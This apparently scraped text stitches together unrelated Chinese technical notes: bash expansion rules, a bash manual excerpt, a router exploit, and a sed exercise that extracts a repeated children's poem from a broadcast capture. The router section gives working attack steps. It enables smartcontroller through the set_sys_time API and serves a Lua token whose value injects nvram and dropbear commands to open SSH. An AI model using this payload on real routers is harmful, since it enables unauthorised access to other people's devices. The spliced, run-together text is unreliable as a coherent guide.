set -- 2 #将参数$1的值设为2 echo${1,2}#${1,2}不会触发花括号扩展。但也不会报错，原因是在花括号扩展结束之后触发了参数扩展中的小写转换，$1值会去匹配字符2，匹配成功会将其转换为小写，当然2没有小写，即使$1值是2也不会报错，扩展结果就为2
# 输出 # 2
其次特殊的情况，扩展不会发生在参数parameter赋值中
A variable may be assigned to by a statement of the form
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name=[value]
If value is not given, the variable is assigned the null string. All values undergo tilde expansion, parameter and variable expansion, command substitution, arithmetic expansion, and quote removal
利用这个漏洞的前提是路由器开启smartcontroller，如果没有开启就发起请求会得到Internal Server Error的响应，开启smartcontroller需要使用api：/api/misystem/set_sys_time来设定系统时间，这个api接受一个名为time的参数，把值设为2023-2-19 23:4:47&timezone=CST-8即可开启smartcontroller。这个请求为GET请求。
functiongetToken() local result = {} result["code"] = 0 result["token"] = "; nvram set ssh_en=1; nvram commit; sed -i 's/channel=.*/channel=\"debug\"/g' /etc/init.d/dropbear; /etc/init.d/dropbear start;" LuciHttp.write_json(result) end
sed -n '/^00[012]0[ ]*/p' unknown_broadcast.txt | sed -n 's/^.*\(.\{17\}$\)/\1/p'| sed 's/^\(\.*!\.*\)*\([^.]*\)\(\.*\)*/\2/'| sed ':a;N;s/\r\n//;t a'
(ps：sed的正则怎么用不了非贪婪)
(ps：sed的正则怎么匹配不了行尾$)
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In the gap a new tooth grew,And now it makes me wonder,If people are like teeth tooThe day I lost my very first tooth,Was halfway through grade four,I'd run my tongue along the gap,Where my tooth had been before,I remember I went home crying,And showed it to my mum,She told me that a brand new tooth,Would grow up in my gum,In a while the gap would stop feeling I wouldn't notice the tooth was gone,The only reason I missed it now,Was because it was there for so long,Then slowly but surely over the weeks,In the gap a new tooth grew,And now it makes me wonder,If people are like teeth tooThe day I lost my very first tooth,Was halfway through grade four,I'd run my tongue along the gap,Where my tooth had been before,I remember I went home crying,And showed it to my mum,She told me that a brand new tooth,Would grow up in my gum,In a while the gap would stop feeling I wouldn't notice the tooth was gone,The only reason I missed it now,Was because it was there for so long,Then slowly but surely over the weeks,In the gap a new tooth grew,And now it makes me wonder,If people are like teeth tooThe day I lost my very first tooth,Was halfway through grade four,I'd run my tongue along the gap,Where my tooth had been before,I remember I went home crying,And showed it to my mum,She told me that a brand new tooth,Would grow up in my gum,In a while the gap would stop feeling I wouldn't notice the tooth was gone,The only reason I missed it now,Was because it was there for so long,Then slowly but surely over the weeks,In the gap a new tooth grew,And now it makes me wonder,If people are like teeth tooThe day I lost my very first tooth,Was halfway through grade four,I'd run my tongue along the gap,Where my tooth had been before,I remember I went home crying,And showed it to my mum,She told me that a brand new tooth,Would grow up in my gum,In a while the gap would stop feeling I wouldn't notice the tooth was gone,The only reason I missed it now,Was because it was there for so long,Then slowly but surely over the weeks,In the gap a new tooth grew,And now it makes me wonder,If people are like teeth tooThe day I lost my very first tooth,Was halfway through grade four,I'd run my tongue along the gap,Where my tooth had been before,I remember I went home crying,And showed it to my mum,She told me that a brand new tooth,Would grow up in my gum,In a while the gap would stop feeling I wouldn't notice the tooth was gone,The only reason I missed it now,Was because it was there for so long,Then slowly but surely over the weeks,In the gap a new tooth grew,And now it makes me wonder,If people are like teeth tooThe day I lost my very first tooth,Was halfway through grade four,I'd run my tongue along the gap,Where my tooth had been before,I remember I went home crying,And showed it to my mum,She told me that a brand new tooth,Would grow up in my gum,In a while the gap would stop feeling I wouldn't notice the tooth was gone,The only reason I missed it now,Was because it was there for so long,Then slowly but surely over the weeks,In the gap a new tooth grew,And now it makes me wonder,If people are like teeth tooThe day I lost my very first tooth,
手动去掉重复片段整理：
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The day I lost my very first tooth,Was halfway through grade four,I'd run my tongue along the gap,Where my tooth had been before,I remember I went home crying,And showed it to my mum,She told me that a brand new tooth,Would grow up in my gum,In a while the gap would stop feeling I wouldn't notice the tooth was gone,The only reason I missed it now,Was because it was there for so long,Then slowly but surely over the weeks,In the gap a new tooth grew,And now it makes me wonder,If people are like teeth too.
拿上面这小作文一搜，发现是首诗。。。。。换下行：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
The day I lost my very first tooth, Was halfway through grade four, I'd run my tongue along the gap, Where my tooth had been before, I remember I went home crying, And showed it to my mum, She told me that a brand new tooth, Would grow up in my gum, In a while the gap would stop feeling I wouldn't notice the tooth was gone, The only reason I missed it now, Was because it was there for so long, Then slowly but surely over the weeks, In the gap a new tooth grew, And now it makes me wonder, If people are like teeth too
怎么我抓出来的跟搜出来的差一个词，In a while the gap would stop feeling strange这句，我的怎么没有strange，手动去翻了一下unknown_broadcast.txt，发现是有strange的，检查发现是sed写错了，改为：
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sed -n 's/^00[0123]0[ ]\{2,\}.*[ ]\{2,\}\([\.]*\)/\1/p' unknown_broadcast.txt | sed 's/^\(\.*!\.*\)*\([^.]*\)\(\.*\)*/\2/' | sed '/^[ ]\{3,\}/d' | sed ':a;N;s/\r\n//;t a'